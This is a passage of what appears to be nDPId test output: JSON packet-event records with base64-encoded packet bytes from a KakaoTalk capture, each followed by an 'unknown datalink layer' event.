+00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2259,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":843177,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIAAAEAAHRH8+gHJAa4KGFK8WgQsOABsxgiAbDNBfrCgQ1SapdoQa2gl0fNuQVpwLNZz5kSfZVbR1z29RAoVQTXQai9Xvntc0FsdiBgM\/5cqpmr8yTO+oT1qmSPWVJEjNlZctLVJlfN2oxZ1wFzna2ojOX67WuSDfg82HN+w"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2259,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2260,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":871192,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHoAAEAAHRH9AAHJAa4KGFK8WgQsOABmCmiAbDNCfrCkA1SapdqYwVTsDgJSBHO2ln\/bdhizHbmZphQRJb\/ve+jkmzm\/AmpklZPtV2IkKGaqcynug8OhKvKvg+pHzGJYoKZjuut2nt6Wez6nuk6ICfOx69GUXCF+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2260,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2261,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":871527,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHQAAEAAHBH+BgHJAa4KGFK8WgYoHABgo1+AbFC8i0FCWguGVRkWhGnTgY0EN\/RiCcFLWNEWGoXQFqTzRKeVvBCgQNxzJFCVAoBlqcQLw\/drMYUZiMZk6bBQLHFQrGcA\/YHmY9tiE317kkAWmvFik+ua"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2261,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2262,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":878089,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/Wz2AbDNcfrEFg1SapdoxsGX70KoUq4TJ7rC59MajzFlAlunTE5YjfSlV91XWdHaMr4K4lEzxkbI8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2262,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2263,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":889960,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHoAAEAAHRH9AAHJAa4KGFK8WgQsOABmsEaAbDNDfrCnw1SapdpqIkJs+utGsmPnWVEKFQkpLAV+qhCgh+DAtIv325OVgw4VqF7EceWpuphL3tkvf1aK08fYHeXuIP1jPNZVj7h1nM+vK5yxnNVGA0bw4t7VfqLR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2263,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2264,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":907630,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABE1V6AbFDWi0Gj2guGVRlrF8KbobzvZCOmM9v94y1wW3xiGixNP0qxBSQPHuvEV75ADfa7GXBaAdDS9k4opLc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2264,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2265,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":907721,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHBH+FwHJAa4KGFK8WgYoHABPhBmAbFC9i0FGGguGVRm5rCUjUH2RSeXwmtGFlNDbrNEEIXGuR\/JbV81pA2hF59bhTlVfAkSlyLtEln249Jm84V2bI4mXlEUYvg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2265,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2266,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":908698,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIQ1eAbFDXi0GnmguGVRlTPSubgo8cozKaYQwWpaU\/nS6PquJM9fkcwJg8S3YqtN\/0MBj\/9pNuPxddV7UUGofPyvOa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2266,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2267,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":919470,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/lxqAbDNdfrEJQ1Sapdp9K4RTCFA0zl7XFrz6oFMRu83Sm80XsXhjmSDpVFSiNV8Ko0pqNqsg4x7L"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2267,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2268,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":928626,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHBH+DwHJAa4KGFK8WgYoHABX6MWAbFC+i0FJ2guGVRlzYPHVDCdlADTxU1dT40tVKBXlqeoNltl+Ubj\/p0crFMO4dIjpc0Wj3DbNJ0PG+GfROwNTsNWm72wUFXTDTD7P3xW7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2268,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2269,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":947364,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZCluAbDNEfrCrg1SapdphF6QMkh+j4uu2MiFu\/zbHDYw5m93uVopTmMMB67xZVJuJRR5l25FKOuGYLWBQpwUl09dW25tU0K132FYukEVMQfSchqg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2269,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2270,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":967383,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHgAAEAAHRH9AgHJAa4KGFK8WgQsOABk6LWAbDNFfrCvQ1SapdrLdUEetiXy9sm92Qm1tV3IISU2qE85VpvVeG26IMpp28FNKLYNeO4Yj\/plk17U\/ZcXmGsjz8pq9p4w4NxZSVljPn6NRBe9M1\/lVCNbgEhVvw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2270,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2271,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":979285,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHAHOAbFC\/i0FNmguGVRmOyxabpDYl4fdjsu3bzRuq2t8Cnk4DkGu+R6AnrRkaLpxTujrPnvAJsc\/T70OfKwJ5VJs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2271,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2272,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":991156,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGEAAEAAHBH+GQHJAa4KGFK8WgYoHABN+GiAbFDAi0FRWguGVRnGHr6FCcltI0W2X5I3xILfWIrZg4+S0908OvBW4vzAW\/34yX7fezZ0JhFkfkCeLvdp2ISRUjiTAKo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2272,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2273,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":998328,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/fwmAbDNefrENA1Sapdp3hCFQUkLuNw8vfQOw9o8EBJ5cOHIBeEW\/7vwtikhJdG036yjsk\/xjsDjy"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2273,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2274,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":7300,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJh56AbFDYi0GrWguGVRkBkr20fTGINIsNcdEifhUodK\/AqfSCoI2Gnpydm5IGNRumLmLehDic4WGJ13IzbiANXFgDjg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2274,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2275,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":7361,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHcAAEAAHRH9AwHJAa4KGFK8WgQsOABjwIyAbDNGfrCzA1SapdqC0UaVM9Qwivs2v\/IITJbRrVqZTjtncW4cm9JjwRIqk95bnNkGYjAOT3po+SpQGrCzLSB6etMG6R0Cq4KvIHhh9bOQsbUc+8iClz9PU1Dh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2275,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2276,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":8521,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGQAAEAAPxHbPgoYUrwByQGuLDhaBABQyfyAbFDZi0GvGguGVRllTwTg9Yq3YumRpTXknUohYPk4v3RSDmgEzaEM9m7hWdBa59Mbri\/HTobVRQbvwjdwanXSNWBh13TNkPY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2276,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2277,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":38886,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/KzKAbDNffrEQw1SapdpMaurnExSxz6qNCPwlqPbbKtkWCI81DfNy6jXEqVPqlY4ha3kt0b5jB2Xg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2277,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2278,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":49811,"pkt_caplen":70,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADZOxUAAQAYrcgoYUrzLzZfp0tYfkMl8NsazTa2QgBgBtkxqAAABAQgKAALWhMwmIb5QFA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2278,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2279,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":112647,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGzluAbFDai0Gy2guGVRlb+FpbpmOvnz+h2YeEWWiE5jYkbHi14G\/+7zSBsyYVuFaa4WPc520R\/OabVtew7uWHOg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2279,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2280,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":140570,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKB1aBwBqH5mByAAMVJql2jtnI0S3EkPA5GzwOjlP+SaSAYa0BRrMJvukoi3Ky6lJY\/keEd3sGOeJyC2gRmmMv0NykD3PIG2hnSV8iOrz3uOhUqZKKWaa2U2o9U+AAAAJ9Ta537FcpWpYKA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2280,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2281,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":140784,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/n7eAbDNgfrEUg1SapdrTlDMnFUw+TePrnqyScY26IWXn\/UolakEJaMZb8INOs0CcSF5lJpyUJ0DA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2281,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2282,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":180945,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/M7qAbDNhfrEYQ1SapdqiVOBlpn11bH3Gy8YB1vmDRQxVE4O1H8metwoBHoxtfcyIgXb+c4vF6uuL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2282,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2283,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":216071,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABID9KAbFDbi0G2mguGVRmlOxEKLYdg2rLd+9Q0aahAXk\/aKKpsrm+pDl\/0lqaQPb0UQ+CypmncKSnyK+dk0LT07R4t"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2283,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2284,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":216162,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABK46yAbFDci0G6WguGVRleqwWQpdMlJjGDrJxW7S4ZjxdR+VuY6rlRJlqXRLpFg6LH6SM9o2p9KZHzIXijd4qLKVzgpPA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2284,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2285,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":221900,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/zLiAbDNifrEcA1Sapdps4FwlCKi6llxC71JNSgAKvnHIFCUcxQcI1doW74VlcwILWrTG\/Zp6pFvX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2285,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2286,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":284369,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGwh6AbFDCi0FY2guGVRkAjtDABhzv8DZgz4IycP7e9\/F+30LjZEG0cwSuKDgb38nI6MxXdyEcnt6Mnc3vmeNstg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2286,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2287,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":284552,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALwAAEAAHBH9vgHJAa4KGFK8WgYoHACo4+WAbFDFi0FkGguGVRl+9n2Et9rDrYUnueI5Gb6JeTpTI\/jlPWv+SY4K04ihn+Lc65qNNzNk6D9\/nvugWh4cKOwikW9vf2QdMavkwMHPexUgmM0evvHLHn78J2EbxW5i0a6Lm2Ops5puUxwFvdf4w\/+HUfTo8XzNCD\/BdOw6MtW0K6sGne6ncMW9vusrSTAJV6dBsEEtQ1oSqWcJ5gnRaoWE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2287,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2288,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":284644,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHeFGAbFDDi0FcmguGVRnDfAktObxPEQCqH94dNrDTW353a+sr9Ka9+o1IB5J\/mGR0h4IISGu+WHNeIEXmeglNQZ4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2288,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2289,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":284735,"pkt_caplen":160,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":160,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJAAAEAAHRH86gHJAa4KGFK8WgQsOAB8KQ6AbDNIfrC6g1SapdpSLPJugCl1XPuDxdtM1aSpnqfXTQBCRGZhi6iLYE6PBK\/xhCwKg3nvY3pj4TLpWrPbt0D0fm8rlzmUkyI5BtmhxfJrmnITI32dmwzpkNFPMoKRaEtaRSHnbvXIL+UK0rwjkyVV4bbhJA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2289,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00525{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2290,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":285285,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJUAAEAAHRH85QHJAa4KGFK8WgQsOACBua2AbDNJfrC+Q1Sapdq0WfIhT172Vt+xfwnnk9yz6e3apMZOfD+gZaNqnKM33EXScBadu+Q7Cx4pJ8liLdU\/mLyx76y2wTDpCtdJOtPhdPO9Ax++9mHIZ1aNNQcWr7SHCbgGiFfO7kfecScGXSlcjqDjBx9R64Yywg8n"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2290,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2291,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":285407,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHRH9CQHJAa4KGFK8WgQsOABdXMSAbDNKfrDCA1Sapdq+9SQSRw0S41T5fsA2IIB3Y47f4DFgUpJGA\/leJFcYSXriEJrAX9tUMm2V44rqFLRSAqjgAaA\/h\/5N2wdvRyI1EdzzwGew2A9H"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2291,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2292,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":285529,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHRH8\/AHJAa4KGFK8WgQsOABq0DiAbDNLfrDFw1SapdpSpTZQa5BAFiwfDWrZDiI+wboyQ7iKdub1HgpfJrgosPdfsmktOt42FD3LwRGBjgWyvZZv5oM7xtLKedO8JzJe5ymM6Ns+hNn+J+2UzEXB6NBJrzbQ\/g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2292,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00519{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2293,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":285620,"pkt_caplen":158,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI4AAEAAHRH87AHJAa4KGFK8WgQsOAB6kjaAbDNHfrC2w1Sapdo7ns+VPY1OL++yPlKTj6if6\/dFMINQzgyvazNfjgQD1JNjA1z99Dl8kCiYbgUrs\/zd0b2E00TynRk1jTpY4HaMKWc1jGZcRjgqZFWWB97skji\/IhU+EQYnaaGmrGQE6aTYMRvHsls="} 